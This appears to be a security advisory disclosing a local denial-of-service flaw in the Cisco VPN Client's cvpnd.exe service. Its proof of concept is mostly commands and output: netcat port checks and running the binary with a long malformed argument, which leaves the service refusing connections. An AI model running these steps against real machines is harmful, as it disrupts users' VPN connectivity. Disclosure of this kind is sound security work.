|
Details
|
"A denial of service attack to the VPN client on the win32 platform can be exploited locally causing the service to
collapse through the execution of the cvpnd.exe binary.
By default, the cvpnd.exe gets executed with "SYSTEM" priviledges on the
localhost, an intruder, previously signed in to the victim's systemlocally or remote can execute this binary accomplishing a denial of service.
This service is found listening on TCP/UDP port 62514 and is coincidentally in charge of setting up and breaking down the encrypted tunnels
between the client and the VPN concentrator.
Unnamed window, item 9
PID=636
Name=cvpnd
Service=CVPND
Listening=TCP: 62514 62514 UDP: 62514 <- Open ports
Path=C:\Program Files\Cisco Systems\VPN Client\cvpnd.exe
The host victim executes the VPN client normally, ready to establish an encrypted tunnel to the concentrator.
This automatically establishesthe "cvpnd.exe" service listening on TCP/UDP ports 62514.
C:\>netstat -n
Active Connections
Proto Local Address Foreign Address State
TCP 127.0.0.1:1040 127.0.0.1:62514 ESTABLISHED
TCP 127.0.0.1:62514 127.0.0.1:1040 ESTABLISHED <-here
We confirm the locally established connection with netcat.exe to port 62514:
C:\>nc -vvn 127.0.0.1 62514
(UNKNOWN) [127.0.0.1] 62514 (?) open
The intruder penetrates without priviledge to the local machine running the Cisco VPN Client to the point it reaches the full path of "cvpnd.exe"
C:\Program Files\Cisco Systems\VPN Client>dir *.exe
Volume in drive C has no label.
Volume Serial Number is DC13-87F8
Directory of C:\Program Files\Cisco Systems\VPN Client
6/19/2008 06:08p 246,576 autoinstall.exe
6/19/2008 06:08p 262,960 autoinstallgui.exe
6/19/2008 06:08p 328,496 autoupdate.exe
6/19/2008 06:01p 1,028,219 cisco_cert_mgr.exe
6/19/2008 06:08p 1,528,608 cvpnd.exe <- here
6/19/2008 06:08p 176,944 ipsecdialer.exe
6/19/2008 06:08p 172,840 IPSecLog.exe
6/19/2008 06:08p 230,176 ppptool.exe
6/19/2008 06:08p 217,888 SetMTU.exe
6/19/2008 06:08p 86,824 VAInstaller.exe
6/19/2008 06:08p 267,040 vpnclient.exe
6/19/2008 06:08p 1,544,984 vpngui.exe
12 File(s) 6,091,555 bytes
0 Dir(s) 7,511,080,960 bytes free
Through the execution of the "cvpnd.exe" command the attacker injects malformed characters:
C:\Program Files\Cisco Systems\VPN Client\cvpnd.exe AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDDDDEEEEEEEEEE
The previously established ports have collapsed in a satisfactory form, and now we observe the connection denied through netcat:
C:\>nc -vvn 127.0.0.1 62514
(UNKNOWN) [127.0.0.1] 62514 (?): connection refused
sent 0, rcvd 0: NOTSOCK
"
|
Buscar
